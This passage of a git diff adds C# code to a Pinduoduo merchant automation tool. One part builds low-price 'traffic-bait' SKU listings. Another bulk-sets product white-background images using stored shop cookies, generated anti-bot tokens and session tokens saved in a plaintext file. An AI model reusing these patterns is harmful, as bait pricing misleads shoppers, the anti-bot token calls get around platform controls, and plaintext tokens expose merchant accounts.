specFirstIndex]["spec_key_id"].ParseToString() != specTypeNames[1]) + { + specFirstIndex = -1; + } + } + break; + } + } + if (specFirstIndex == -1) + { + break; + } + if (specFirstValue == null && !propValueList[0].Contains(specs[specFirstIndex]["spec_value_id"].ParseToString())) + { + specFirstValue = specs[specFirstIndex]["spec_value_id"].ParseToString(); + pickedSku = sku; + thumbUrl = pickedSku["thumbUrl"].ParseToString(); + thumbUrl = thumbUrl.StartsWith("//") ? "https:" + thumbUrl : thumbUrl; + if (productPropList.Count == 1) + { + break; + } + } + if (specFirstValue != null && specs[specFirstIndex]["spec_value_id"].ParseToString() == specFirstValue) + { + specSecondList.Add(specs[1 - specFirstIndex]["spec_value_id"].ParseToString()); + pickedSkuList.Add(sku); + } + } + } + if (specSecondList.Count > 0) + { + //比较上传商品中第二组spec中没有的spec进行增加,保证使用最低价格区间的价格并且高于上家价格 + int addNewSpecSecondIndex = -1; + for (int i = 0; i < specSecondList.Count; i++) + { + if (!propValueList[1].Contains(specSecondList[i])) + { + foreach (var productSpecFirst in propValueList[0]) + { + //在上传商品中增加第二组没有的spec + sbSkuContent.AppendFormat(",{{\"is_onsale\":1,\"limit_quantity\":0,\"price\":\"{0}\",\"weight\":1000,\"multi_price\":\"{1}\"," + + "\"thumb_url\":\"{2}\",\"out_sku_sn\":\"{3}\",\"quantity\":0,\"spec_id_list\":\"[{4}]\",\"defaultQuantity\":0}}", + ((int)((lowPrice + 1) * 100)).ToString(), + ((int)(lowPrice * 100)).ToString(), + thumbUrl, goodsId.ToString(), + productSpecFirst + "," + ChooseSpecValue(lowPriceSpecs, 2, 1, specSecondList[i])); + } + addNewSpecSecondIndex = i; + //只需要增加一组没有的spec即可 + break; + } + } + if (addNewSpecSecondIndex != -1) + { + //增加低价引流商品的一组sku + for (int i = 0; i < propValueList[1].Count; i++) + { + if (specSecondList.Contains(propValueList[1][i])) + { + //增加低价引流中第二组spec在上传商品中存在的 + var ind = specSecondList.IndexOf(propValueList[1][i]); + sbSkuContent.AppendFormat(",{{\"is_onsale\":1,\"limit_quantity\":{0},\"price\":\"{1}\",\"weight\":1000,\"multi_price\":\"{2}\"," + + "\"thumb_url\":\"{3}\",\"out_sku_sn\":\"{4}\",\"quantity\":{5},\"spec_id_list\":\"[{6}]\",\"defaultQuantity\":{7}}}", + pickedSkuList[ind]["limitQuantity"].ParseToString(), + ((int)((lowPrice + 1) * 100)).ToString(), + ((int)(lowPrice * 100)).ToString(), + thumbUrl, goodsId.ToString(), pickedSkuList[ind]["quantity"].ParseToString(), + ChooseSpecValue(lowPriceSpecs, 2, 0, specFirstValue) + "," + ChooseSpecValue(lowPriceSpecs, 2, 1, specSecondList[ind]), + pickedSkuList[ind]["defaultQuantity"].ParseToString()); + } + else + { + //在低价引流中增加上传商品有但低价引流第二组spec没有的 + sbSkuContent.AppendFormat(",{{\"is_onsale\":1,\"limit_quantity\":0,\"price\":\"{0}\",\"weight\":1000,\"multi_price\":\"{1}\"," + + "\"thumb_url\":\"{2}\",\"out_sku_sn\":\"{3}\",\"quantity\":0,\"spec_id_list\":\"[{4}]\",\"defaultQuantity\":0}}", + ((int)((lowPrice + 1) * 100)).ToString(), + ((int)(lowPrice * 100)).ToString(), + thumbUrl, goodsId.ToString(), + ChooseSpecValue(lowPriceSpecs, 2, 0, specFirstValue) + "," + propValueList[1][i]); + } + } + //在低价引流中增加上传商品中第二组spec中没有的spec,保证有库存 + sbSkuContent.AppendFormat(",{{\"is_onsale\":1,\"limit_quantity\":{0},\"price\":\"{1}\",\"weight\":1000,\"multi_price\":\"{2}\"," + + "\"thumb_url\":\"{3}\",\"out_sku_sn\":\"{4}\",\"quantity\":{5},\"spec_id_list\":\"[{6}]\",\"defaultQuantity\":{7}}}", + pickedSkuList[addNewSpecSecondIndex]["limitQuantity"].ParseToString(), + ((int)((lowPrice + 1) * 100)).ToString(), + ((int)(lowPrice * 100)).ToString(), + thumbUrl, goodsId.ToString(), pickedSkuList[addNewSpecSecondIndex]["quantity"].ParseToString(), + ChooseSpecValue(lowPriceSpecs, 2, 0, specFirstValue) + "," + ChooseSpecValue(lowPriceSpecs, 2, 1, specSecondList[addNewSpecSecondIndex]), + pickedSkuList[addNewSpecSecondIndex]["defaultQuantity"].ParseToString()); + } + } + else if (specFirstValue != null) + { + //只有一个类型的spec + sbSkuContent.AppendFormat(",{{\"is_onsale\":1,\"limit_quantity\":{0},\"price\":\"{1}\",\"weight\":1000,\"multi_price\":\"{2}\"," + + "\"thumb_url\":\"{3}\",\"out_sku_sn\":\"{4}\",\"quantity\":{5},\"spec_id_list\":\"[{6}]\",\"defaultQuantity\":{7}}}", + pickedSku["limitQuantity"].ParseToString(), + ((int)((lowPrice + 1) * 100)).ToString(), + ((int)(lowPrice * 100)).ToString(), + thumbUrl, goodsId.ToString(), pickedSku["quantity"].ParseToString(), + ChooseSpecValue(lowPriceSpecs, 1, 0, specFirstValue), pickedSku["defaultQuantity"].ParseToString()); + } + skuContent = sbSkuContent.ToString(); + } + } + } + } + catch (Exception ex) + { + LogSave.Add(ex.ToString()); + } + return skuContent; + } + + private static string ChooseSpecValue(List lowPriceSpecs, int itemsCount, int itemIndex, string defaultValue) + { + return (lowPriceSpecs != null && lowPriceSpecs.Count == itemsCount && !string.IsNullOrEmpty(lowPriceSpecs[itemIndex])) ? lowPriceSpecs[itemIndex] : defaultValue; + } + + + + + + + + } +} diff --git a/Work/CollectClass/WhiteBaseMap.cs b/Work/CollectClass/WhiteBaseMap.cs new file mode 100644 index 0000000..d0a7137 --- /dev/null +++ b/Work/CollectClass/WhiteBaseMap.cs @@ -0,0 +1,28165 @@ +using AllBase; +using CefSharp; +using JavaScriptEngineSwitcher.Core; +using JavaScriptEngineSwitcher.V8; +using System; +using System.Collections.Generic; +using System.Collections.Specialized; +using System.IO; +using System.IO.Compression; +using System.Linq; +using System.Net; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work.Api; + +namespace Work.CollectClass +{ + + public class WhiteBaseMap + { + public static string Name; + public int threadCount = 10; + public static List ShopTemp = new List(); + public static List whiteMapObjectList = new List(); + public static Dictionary ShopToken = new Dictionary(); + public static Dictionary ShopFixedImage = new Dictionary(); + public static Dictionary ShopCount = new Dictionary(); + public static string cboSetModel = "自动抠图"; + public WhiteBaseMap(string name) + { + Name = name; + } + public void SetWhiteBaseMap() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (shop == null || !shop.SelectWhite) + continue; + Threadx.ThreadListWait(ref ts, new Thread(new WhiteBaseMapInstance(shop, Name).SetWhiteBaseMap), threadCount); + Thread.Sleep(2000); + } + LogSave.Add(Name, "设置白底图完成"); + } + public void SetFalseWhiteBaseMap() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (shop == null || !shop.SelectWhite) + continue; + Threadx.ThreadListWait(ref ts, new Thread(new WhiteBaseMapInstance(shop, Name).SetFalseWhiteBaseMap), threadCount); + Thread.Sleep(2000); + } + LogSave.Add(Name, "设置白底图完成"); + } + } + public class WhiteBaseMapInstance + { + public ShopChatBase Shop; + public string Name; + public static bool isOnSale = true; + public static bool isOffSale = true; + public static bool isWait = false; + public static bool isStop = false; + public static bool isInvald = false; + public static int Count = 0; + public List goodsList = new List(); + public delegate void delegateView(); + public static delegateView code; + public int GetGoodsCount = 0; + public bool isFinish = false; + public WhiteBaseMapInstance(ShopChatBase shop, string name) + { + Shop = shop; + Name = name; + } + /// + /// 获取白底图商品 + /// + /// + public void GetWhiteBaseMapGoods() + { + string url = "https://mms.pinduoduo.com/giraffe/mms/material/queryByGoods"; + string refere = "https://mms.pinduoduo.com/goods/goods_materials"; + string data = ""; + if (isOnSale) + { + data = "{\"page\":#page#,\"page_size\":50,\"type_list\":[1,3,4,5,7,6],\"order_by\":\"id: desc\",\"is_onsale\":1,\"sold_out\":0}"; + } + if (isOffSale) + { + data = "{\"page\":#page#,\"page_size\":50,\"type_list\":[1,3,4,5,7,6],\"order_by\":\"id: desc\",\"is_onsale\":0}"; + } + if (isOnSale && isOffSale) + { + data = "{\"page\":#page#,\"page_size\":50,\"type_list\":[1,3,4,5,7,6],\"order_by\":\"id: desc\"}"; + } + string html = GetPostTaobaoHtml.GetJsonPost(url, url, true, data.Replace("#page#", "1"), Shop.Cookies); + if (string.IsNullOrEmpty(html)) + return; + int allCount = BaseRegex.GetIntJson(ref html, "total"); + int page = allCount / 50 + (allCount % 50 > 0 ? 1 : 0); + for (int i = 0; i < page; i++) + { + if (Count > 0 && GetGoodsCount >= Count) + break; + if (i != 0) + { + html = GetPostTaobaoHtml.GetJsonPost(url, url, true, data.Replace("#page#", (i + 1).ToString()), Shop.Cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(10 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, url, true, data.Replace("#page#", (i + 1).ToString()), Shop.Cookies); + } + } + var m = BaseRegex.GetMatchRegex(ref html, @"""goods_search_info_vo""[\w\W]+?""is_forbid_edit_long_graph"""); + for (int j = 0; m != null && j < m.Count; j++) + { + if (Count > 0 && goodsList.Count >= Count) + break; + var item = m[j].Groups[0].Value; + string goods_id = BaseRegex.GetStringJson(ref item, "goods_id"); + int status = BaseRegex.GetIntJson(ref item, "check_status"); + string type_name = BaseRegex.GetStringJson(ref item, "type_name"); + if ((status == 2 && type_name == "白底图") || status == 3)//上传过白底图 + continue; + GetGoodsCount = GetGoodsCount + 1; + goodsList.Add(goods_id); + LogSave.Add(Name, "店铺" + Shop.ShopName + "获取白底图商品" + goods_id); + } + Thread.Sleep(1000); + } + } + /// + /// 获取店铺token到文本文件 + /// + /// + public void SaveWhiteBaseMap(string pjtoken) + { + try + { + string temp = ""; + foreach (KeyValuePair kv in WhiteBaseMap.ShopToken) + { + temp += kv.Key + "," + kv.Value + "\r\n"; + } + FileBase.WriteAllText("temp/WhiteBaseMap.txt", temp, Encoding.UTF8); + } + catch + { + } + } + /// + /// 获取店铺token + /// + /// + public string GetWhiteBaseMap() + { + //string urlxm = "https://mms.pinduoduo.com/janus/api/subSystem/generateAccessToken"; + //string referem = "https://mms.pinduoduo.com/login?redirectUrl=https%3A%2F%2Faid.pinduoduo.com%2Fauth%3FredirectUrl%3Dhttps%253A%252F%252Faid.pinduoduo.com%252Ftools%252Fmatting%253Forigin%253Dgoods_material"; + //string dataxm = "{\"redirectUrl\":\"https://aid.pinduoduo.com/auth?redirectUrl=https%3A%2F%2Faid.pinduoduo.com%2Ftools%2Fmatting%3Forigin%3Dgoods_material\"}"; + // htmlxm = GetJsonPostURL("https://aid.pinduoduo.com/auth?redirectUrl=https%3A%2F%2Faid.pinduoduo.com%2Ftools%2Fmatting%3Forigin%3Dgoods_material&accessToken=" + accessToken + "&username="+Shop.ShopName, "", true, "", cookies); + string urlxm = "https://mms.pinduoduo.com/janus/api/subSystem/generateAccessToken"; + string referem = "https://mms.pinduoduo.com/goods/goods_materials?tab=0"; + string dataxm = "{\"mallId\":" + Shop.MallId + ",\"redirectUrl\":\"https://aid.pinduoduo.com\"}"; + string htmlxm = Request_mms_pinduoduo_com(urlxm, urlxm, Shop.Cookies, dataxm, getAnti0aon()); //GetPostTaobaoHtml.GetJsonPost(urlxm, referem, true, dataxm, Shop.Cookies); + string accessToken = BaseRegex.GetStringJson(ref htmlxm, "accessToken"); + string cookies = "ptj_token=" + accessToken + ";"; + htmlxm = GetJsonPostURL("https://aid.pinduoduo.com/auth?redirectUrl=https%3A%2F%2Faid.pinduoduo.com%2Ftools%2Fmatting%3Forigin%3Dgoods_material&accessToken=" + accessToken, "", true, "", cookies); + string pjtoken = BaseRegex.GetMatchRegexString(ref htmlxm, "ptj_token=([^;]+?);"); + if (WhiteBaseMap.ShopToken.ContainsKey(Shop.ShopName)) + { + WhiteBaseMap.ShopToken[Shop.ShopName] = pjtoken; + } + else + { + WhiteBaseMap.ShopToken.Add(Shop.ShopName, pjtoken); + } + SaveWhiteBaseMap(pjtoken); + return pjtoken; + } + /// + /// 获取token request方法 + /// + /// + /// + /// + /// + /// + /// + public static string GetJsonPostURL(string url, string refere, bool isUtf8, string data, string cookies) + { + string userAgent = string.IsNullOrEmpty(BaseClass.ChromeUserAgent) ? BaseClass.UserAgent : BaseClass.ChromeUserAgent; + WebClientx wb = new WebClientx(); + wb.Timeout = 10; + wb.AllowAutoRedirect = false; + wb.Headers.Add("Accept-Encoding", "gzip,deflate"); + wb.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + wb.Headers.Add("User-Agent", userAgent); + wb.Headers.Add("Upgrade-Insecure-Requests", @"1"); + refere = "https://mms.pinduoduo.com/login?redirectUrl=https%3A%2F%2Faid.pinduoduo.com%2Fauth%3FredirectUrl%3Dhttps%253A%252F%252Faid.pinduoduo.com%252Ftools%252Fmatting%253Forigin%253Dgoods_material"; + if (!string.IsNullOrEmpty(refere)) + wb.Headers.Add("Referer", refere); + if (!string.IsNullOrEmpty(cookies)) + wb.Headers.Add("Cookie", cookies); + string pdd = ""; + if (!string.IsNullOrEmpty(cookies)) + pdd = BaseRegex.GetMatchRegexString(ref cookies, "PDDAccessToken=([^;]+?);"); + string pddx = ""; + if (!string.IsNullOrEmpty(cookies)) + pddx = BaseRegex.GetMatchRegexString(ref cookies, "PASS_ID=([^;]+)"); + else if (!string.IsNullOrEmpty(pddx)) + wb.Headers.Add("PASSID", pddx); + string rehead = wb.Headers.ToString(); + var encode = isUtf8 ? Encoding.UTF8 : Encoding.GetEncoding("gbk"); + byte[] b, postData = encode.GetBytes(data); + string html, head; + try + { + wb.Headers.Add("Accept", "text/html"); + wb.Headers.Add("Content-Type", "text/html; charset=UTF-8"); + if (string.IsNullOrEmpty(data)) + { + b = wb.DownloadData(url); + } + else + { + wb.Headers.Add("ContentLength", postData.Length.ToString()); + rehead = wb.Headers.ToString(); + b = wb.UploadData(url, "POST", postData); + } + html = encode.GetString(b); + head = wb.ResponseHeaders.ToString(); + html = wb.ResponseHeaders["Set-Cookie"]; + } + catch (Exception ee) + { + html = "提交错误:" + ee.Message; + head = ""; + } + return html; + } + + + public void SaveWhiteFixedImage() + { + try + { + string temp = ""; + foreach (KeyValuePair kv in WhiteBaseMap.ShopFixedImage) + { + temp += kv.Key + "," + kv.Value + "\r\n"; + } + FileBase.WriteAllText("temp/FixedWhiteBaseMap.txt", temp, Encoding.UTF8); + } + catch + { + } + } + public void GetFixeImage() + { + if (WhiteBaseMap.ShopFixedImage.ContainsKey(Shop.ShopName)) + { + fixedImageUrlAndId = WhiteBaseMap.ShopFixedImage[Shop.ShopName]; + } + } + + /// + /// 设置白底图方法 + /// + public void SetWhiteBaseMap() + { + if (WhiteBaseMap.cboSetModel == "固定白底图") + { + GetFixeImage(); + SetWhiteBaseMapModel(); + return; + } + while (isWait) + { + Thread.Sleep(3000); + } + if (isStop) + { + return; + } + //new Thread(GetCheck).Start(); + string pjtoken = ""; + string verifyAuthToken = ""; + string cookies = ""; + string api_uid = BaseRegex.GetMatchRegexString(ref Shop.Cookies, "api_uid=([^;]+?);"); + string _nano_fp = BaseRegex.GetMatchRegexString(ref Shop.Cookies, "_nano_fp=([^;]+?);"); + if (!string.IsNullOrEmpty(Shop.pjtToken)) + { + pjtoken = BaseRegex.GetMatchRegexString(ref Shop.pjtToken, "ptj_token=([^;]+?);"); + verifyAuthToken = BaseRegex.GetMatchRegexString(ref Shop.pjtToken, "VerifyAuthToken=([^;]+?);"); + WhiteBaseMap.ShopToken[Shop.ShopName] = pjtoken; + } + + if (WhiteBaseMap.ShopToken.ContainsKey(Shop.ShopName)) + { + + pjtoken = WhiteBaseMap.ShopToken[Shop.ShopName]; + } + else + { + pjtoken = GetWhiteBaseMap(); + } + CheckDic.Clear(); + isFinish = false; + int page = 1; + while (true) + { + goodsList.Clear(); + string urlMa = "https://mms.pinduoduo.com/giraffe/mms/material/queryByGoods"; + string dataMa = ""; + if (isOnSale) + { + dataMa = "{\"page\":#page#,\"page_size\":50,\"type_list\":[1,3,4,5,7,6],\"order_by\":\"id: desc\",\"is_onsale\":1,\"sold_out\":0}"; + } + if (isOffSale) + { + dataMa = "{\"page\":#page#,\"page_size\":50,\"type_list\":[1,3,4,5,7,6],\"order_by\":\"id: desc\",\"is_onsale\":0}"; + } + if (isOnSale && isOffSale) + { + dataMa = "{\"page\":#page#,\"page_size\":50,\"type_list\":[1,3,4,5,7,6],\"order_by\":\"id: desc\"}"; + } + string htmlMa = GetPostTaobaoHtml.GetJsonPost(urlMa, urlMa, true, dataMa.Replace("#page#", "" + page + ""), Shop.Cookies); + if (string.IsNullOrEmpty(htmlMa)) + return; + if (Count > 0 && GetGoodsCount >= Count) + break; + var m = BaseRegex.GetMatchRegex(ref htmlMa, @"""goods_search_info_vo""[\w\W]+?""is_forbid_edit_long_graph"""); + for (int j = 0; m != null && j < m.Count; j++) + { + if (Count > 0 && goodsList.Count >= Count) + break; + var item = m[j].Groups[0].Value; + string goods_id = BaseRegex.GetStringJson(ref item, "goods_id"); + int status = BaseRegex.GetIntJson(ref item, "check_status"); + string type_name = BaseRegex.GetStringJson(ref item, "type_name"); + if ((status == 2 && type_name == "白底图") || status == 3)//上传过白底图 + continue; + GetGoodsCount = GetGoodsCount + 1; + goodsList.Add(goods_id); + LogSave.Add(Name, "店铺" + Shop.ShopName + "获取白底图商品" + goods_id); + } + if (m == null || m.Count == 0) + break; + cookies = "ptj_token=" + pjtoken + ";api_uid=" + api_uid + ";_nano_fp=" + _nano_fp + ";"; + Dictionary items = new Dictionary(); + for (int i = 0; i < goodsList.Count; i++) + { + while (isWait) + { + Thread.Sleep(3000); + } + if (isStop) + return; + var good = goodsList[i]; + string url = "https://aid.pinduoduo.com/api/banner-intelligent/image/list"; + string refere = "https://aid.pinduoduo.com/tools/matting?origin=goods_material"; + string data = "{\"keyword\":\"" + good + "\",\"filterWhiteImage\":false,\"pageNum\":1,\"pageSize\":20}"; + string html = GetPostTaobaoHtml.GetJsonPost(url, url, true, data, cookies); + if (html.Contains("UNVALID") || html.Contains("SIGN") || html.Contains("NO_TOKEN")) + { + pjtoken = GetWhiteBaseMap(); + cookies = "ptj_token=" + pjtoken + ";api_uid=" + api_uid + ";_nano_fp=" + _nano_fp + ";"; + html = GetPostTaobaoHtml.GetJsonPost(url, url, true, data, cookies); + if (html.Contains("UNVALID") || html.Contains("SIGN") || html.Contains("NO_TOKEN")) + { + pjtoken = GetWhiteBaseMap(); + cookies = "ptj_token=" + pjtoken + ";api_uid=" + api_uid + ";_nano_fp=" + _nano_fp + ";"; + html = GetPostTaobaoHtml.GetJsonPost(url, url, true, data, cookies); + } + } + var mc = BaseRegex.GetMatchRegex(ref html, @"""imageUrl"":""([\w\W]+?)"""); + if (mc != null && mc.Count > 1) + { + //int randx = new Random(Guid.NewGuid().GetHashCode()).Next(0, m.Count - 1); + var item = mc[0].Groups[1].Value; + items.Add(good, item); + if (items.Count == 10)//网页默认抠图最大值20个,测试可以上传200个抠图,但上传到图片空间接口,会发生500错误。 + { + GetItems(items, cookies); + if (isInvald) + break; + setShopWhiteBase(items); + items.Clear(); + } + } + } + if (items.Count > 0) + { + GetItems(items, cookies); + if (isInvald) + return; + setShopWhiteBase(items); + items.Clear(); + } + page++; + } + isFinish = true; + GetCheck(); + } + + string upUrl = "https://img.pddpic.com/mms-material-img/2020-08-18/24c63bf2-fdfe-4e93-a6ad-d9e7fecc6514.jpeg.a.jpeg"; + string fixedImageUrl = ""; + string fixedImageUrlAndId = ""; + long fixedId = 0; + public void SetWhiteBaseMapModel() + { + while (isWait) + { + Thread.Sleep(3000); + } + if (isStop) + { + return; + } + isFinish = false; + int page = 1; + while (true) + { + goodsList.Clear(); + string urlMa = "https://mms.pinduoduo.com/giraffe/mms/material/queryByGoods"; + string dataMa = ""; + if (isOnSale) + { + dataMa = "{\"page\":#page#,\"page_size\":50,\"type_list\":[1,3,4,5,7,6],\"order_by\":\"id: desc\",\"is_onsale\":1,\"sold_out\":0}"; + } + if (isOffSale) + { + dataMa = "{\"page\":#page#,\"page_size\":50,\"type_list\":[1,3,4,5,7,6],\"order_by\":\"id: desc\",\"is_onsale\":0}"; + } + if (isOnSale && isOffSale) + { + dataMa = "{\"page\":#page#,\"page_size\":50,\"type_list\":[1,3,4,5,7,6],\"order_by\":\"id: desc\"}"; + } + string htmlMa = GetPostTaobaoHtml.GetJsonPost(urlMa, urlMa, true, dataMa.Replace("#page#", "" + page + ""), Shop.Cookies); + if (string.IsNullOrEmpty(htmlMa)) + return; + if (Count > 0 && GetGoodsCount >= Count) + break; + var m = BaseRegex.GetMatchRegex(ref htmlMa, @"""goods_search_info_vo""[\w\W]+?""is_forbid_edit_long_graph"""); + for (int j = 0; m != null && j < m.Count; j++) + { + if (Count > 0 && goodsList.Count >= Count) + break; + var item = m[j].Groups[0].Value; + string goods_id = BaseRegex.GetStringJson(ref item, "goods_id"); + int status = BaseRegex.GetIntJson(ref item, "check_status"); + string type_name = BaseRegex.GetStringJson(ref item, "type_name"); + if ((status == 2 && type_name == "白底图") || status == 3)//上传过白底图 + continue; + GetGoodsCount = GetGoodsCount + 1; + goodsList.Add(goods_id); + LogSave.Add(Name, "店铺" + Shop.ShopName + "获取白底图商品" + goods_id); + } + if (m == null || m.Count == 0) + break; + + for (int i = 0; i < goodsList.Count; i++) + { + while (isWait) + { + Thread.Sleep(3000); + } + if (isStop) + return; + var good = goodsList[i]; + if (string.IsNullOrEmpty(fixedImageUrlAndId)) + { + byte[] img; + GetPostTaobaoHtml.DownLoadImage(upUrl, out img); + string url = "https://mms.pinduoduo.com/galerie/business/get_signature"; + string refere = "https://mms.pinduoduo.com/goods/goods_materials"; + string data = "{\"bucket_tag\":\"mms-material-img\"}"; + string html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, Shop.Cookies);//"{\"bucket_tag\":\"pdd_goods\"}" {\"bucket_tag\":\"pdd_mms\"} + if (html.Contains("非法请求")) + { + LogSave.Add(Name, "店铺" + Shop.ShopName + ",上传图片出现非法请求限制。"); + WhiteMapObject white = new WhiteMapObject(); + white.shopName = Shop.ShopName; + white.message = "上传图片出现非法请求限制。"; + WhiteBaseMap.whiteMapObjectList.Add(white); + return; + } + string sign = BaseRegex.GetStringJson(ref html, "signature"); + url = "https://file.pinduoduo.com/v3/store_image"; + refere = "https://mms.pinduoduo.com/goods/goods_materials"; + try + { + string fileName = Randomx.GetId(100000) + ".jpg"; + html = HttpPostData(url, 30000, "image", fileName, img, sign, refere); + string imgUrl = BaseRegex.GetStringJson(ref html, "url"); + if (imgUrl.Contains("null")) + imgUrl = ""; + bool falg = true; + Again: + string fmageUrl = Randomx.GetId(100000).ToString(); + DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(new DateTime(1970, 1, 1)); + long time = (long)(DateTime.Now - startTime).TotalMilliseconds; + url = "https://mms.pinduoduo.com/garner/mms/file/create"; + data = "{\"url\":\"" + imgUrl + "\",\"name\":\"" + fmageUrl + "\",\"extension\":\"jpeg\",\"create_time\":" + time + "}"; + string code = GetAntiContent0ao_v2(); + html = Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data, code); + url = "https://mms.pinduoduo.com/garner/mms/file/list"; + data = "{\"order_by\":\"create_time desc\",\"page\":1,\"page_size\":10,\"file_name\":\"" + fmageUrl + "\",\"file_type_desc\":\"pic\",\"check_status_list\":[2]}"; + html = Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data, getAnti0aon()); + fixedImageUrl = BaseRegex.GetStringJson(ref html, "url"); + fixedId = BaseRegex.GetLongJson(ref html, "id"); + if (string.IsNullOrEmpty(fixedImageUrl)) + { + Thread.Sleep(1000); + html = Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data, getAnti0aon()); + fixedImageUrl = BaseRegex.GetStringJson(ref html, "url"); + fixedId = BaseRegex.GetLongJson(ref html, "id"); + } + if (string.IsNullOrEmpty(fixedImageUrl) && falg) + { + Thread.Sleep(2000); + falg = false; + goto Again; + } + if (!WhiteBaseMap.ShopFixedImage.ContainsKey(Shop.ShopName)) + { + WhiteBaseMap.ShopFixedImage.Add(Shop.ShopName, fixedImageUrl + "@" + fixedId); + } + else + { + WhiteBaseMap.ShopFixedImage[Shop.ShopName] = fixedImageUrl + "@" + fixedId; + } + fixedImageUrlAndId = WhiteBaseMap.ShopFixedImage[Shop.ShopName]; + SaveWhiteFixedImage(); + } + catch + { + } + } + else + { + fixedId = long.Parse(fixedImageUrlAndId.Split('@')[1]); + fixedImageUrl = fixedImageUrlAndId.Split('@')[0]; + } + string urlx = "https://mms.pinduoduo.com/giraffe/mms/material/create"; + string datax = "{\"content\":\"" + fixedImageUrl + "\",\"goods_id\":" + good + ",\"type\":1,\"mall_file_id\":" + fixedId + ",\"source\":4}"; + string htmlx = Request_mms_pinduoduo_com(urlx, urlx, Shop.Cookies, datax, getAnti0aon()); + if (htmlx.Contains("图片已被图片空间删除")) + { + fixedImageUrlAndId = ""; + } + if (htmlx.Contains("\"success\":true")) + { + if (!WhiteBaseMap.ShopCount.ContainsKey(Shop.ShopName)) + { + WhiteBaseMap.ShopCount.Add(Shop.ShopName, 1); + } + else + { + WhiteBaseMap.ShopCount[Shop.ShopName] = WhiteBaseMap.ShopCount[Shop.ShopName] + 1; + } + WhiteMapObject white = new WhiteMapObject(); + white.shopName = Shop.ShopName; + white.setWhiteCount = WhiteBaseMap.ShopCount[Shop.ShopName]; + white.message = "设置商品" + good + "白底图成功。"; + WhiteBaseMap.whiteMapObjectList.Add(white); + LogSave.Add(Name, "店铺" + Shop.ShopName + "后台上传商品" + good + "白底图成功。"); + } + //LogSave.Add(Name, "店铺" + Shop.ShopName + "后台上传商品" + good + "白底图成功。"); + Thread.Sleep(2000); + } + page++; + } + isFinish = true; + } + private string HttpPostData(string url, int timeOut, string fileKeyName, string fileName, byte[] file, string sign, string referer) + { + string responseContent = ""; + string cookie = Shop.Cookies; + if (string.IsNullOrEmpty(cookie)) + { + return ""; + } + var memStream = new MemoryStream(); + var webRequest = (HttpWebRequest)WebRequest.Create(url); + // 边界符 + var boundary = "----WebKitFormBoundary2yjyehYBjxWIyeiH"; + // 边界符 + var beginBoundary = Encoding.ASCII.GetBytes("--" + boundary + "\r\n"); + // 边界符 + var secondBoundary = Encoding.ASCII.GetBytes("\r\n--" + boundary + "\r\n"); + // 最后的结束符 + var endBoundary = Encoding.ASCII.GetBytes("--" + boundary + "--"); + + // 设置属性 + webRequest.Method = "POST"; + webRequest.KeepAlive = true; + webRequest.ContentType = "multipart/form-data; boundary=" + boundary; + webRequest.Referer = referer; + webRequest.Accept = "*/*"; + webRequest.UserAgent = BaseClass.ChromeUserAgent; + webRequest.Headers.Add("Cookie", cookie); + webRequest.Headers.Add("Origin", @"https://mms.pinduoduo.com"); + webRequest.Headers.Add("Sec-Fetch-Site", @"same-site"); + webRequest.Headers.Add("Sec-Fetch-Mode", @"cors"); + webRequest.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate, br"); + webRequest.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9"); + webRequest.Headers.Set(HttpRequestHeader.Cookie, cookie); + webRequest.ServicePoint.Expect100Continue = false; + + + + // string body = @"------WebKitFormBoundaryN0ix8G4iCKjoGTK4 + //Content-Disposition: form-data; name=""upload_sign"" + + //42603fb77f343e88cb8b6423bfceb93e1b7e0974 + //------WebKitFormBoundaryN0ix8G4iCKjoGTK4 + //Content-Disposition: form-data; name=""image""; filename=""333333.png"" + //Content-Type: image/png + + //C:\Users\Administrator\AppData\Local\Temp\1\kaluzf1x\333333.png + //------WebKitFormBoundaryN0ix8G4iCKjoGTK4 + //Content-Disposition: form-data; name=""pic_operations"" + + //{""rules"":[{""rule"":""imageMogr2/format/jpeg/quality/90|imageView2/2/w/2000/h/2000""}]} + //------WebKitFormBoundaryN0ix8G4iCKjoGTK4-- + //"; + + + string first = + "Content-Disposition: form-data; name=\"{0}\";\r\n\r\n" + sign + "\r\n"; + var firstheader = string.Format(first, "upload_sign"); + var firstheaderbytes = Encoding.UTF8.GetBytes(firstheader); + + + + string filePartHeader = + "Content-Disposition: form-data; name=\"{0}\"; filename=\"{1}\"\r\n" + + "Content-Type: image/jpeg\r\n\r\n"; + var header = string.Format(filePartHeader, fileKeyName, fileName); + + //string temp = "--" + boundary+"\r\n"+ firstheader +"--" + boundary + "\r\n"+ header; + var headerbytes = Encoding.UTF8.GetBytes(header); + + memStream.Write(beginBoundary, 0, beginBoundary.Length); + memStream.Write(firstheaderbytes, 0, firstheaderbytes.Length); + memStream.Write(beginBoundary, 0, beginBoundary.Length); + memStream.Write(headerbytes, 0, headerbytes.Length); + + // 写入文件 + memStream.Write(file, 0, file.Length); + + + // 写入文件 + string endPartHeader = + "Content-Disposition: form-data; name=\"pic_operations\"\r\n\r\n"; + var endheaderbytes = Encoding.UTF8.GetBytes(endPartHeader); + + memStream.Write(secondBoundary, 0, secondBoundary.Length); + memStream.Write(endheaderbytes, 0, endheaderbytes.Length); + + var stringKeyHeader2 = "{\"rules\":[{\"rule\":\"imageMogr2/format/jpeg/quality/80|imageView2/2/w/2000/h/2000\"}]}\r\n"; + byte[] formbytes = Encoding.UTF8.GetBytes(stringKeyHeader2); + memStream.Write(formbytes, 0, formbytes.Length); + + + // 写入最后的结束边界符 + memStream.Write(endBoundary, 0, endBoundary.Length); + + webRequest.ContentLength = memStream.Length; + using (Stream stream = webRequest.GetRequestStream()) + { + memStream.WriteTo(stream); + } + var httpWebResponse = 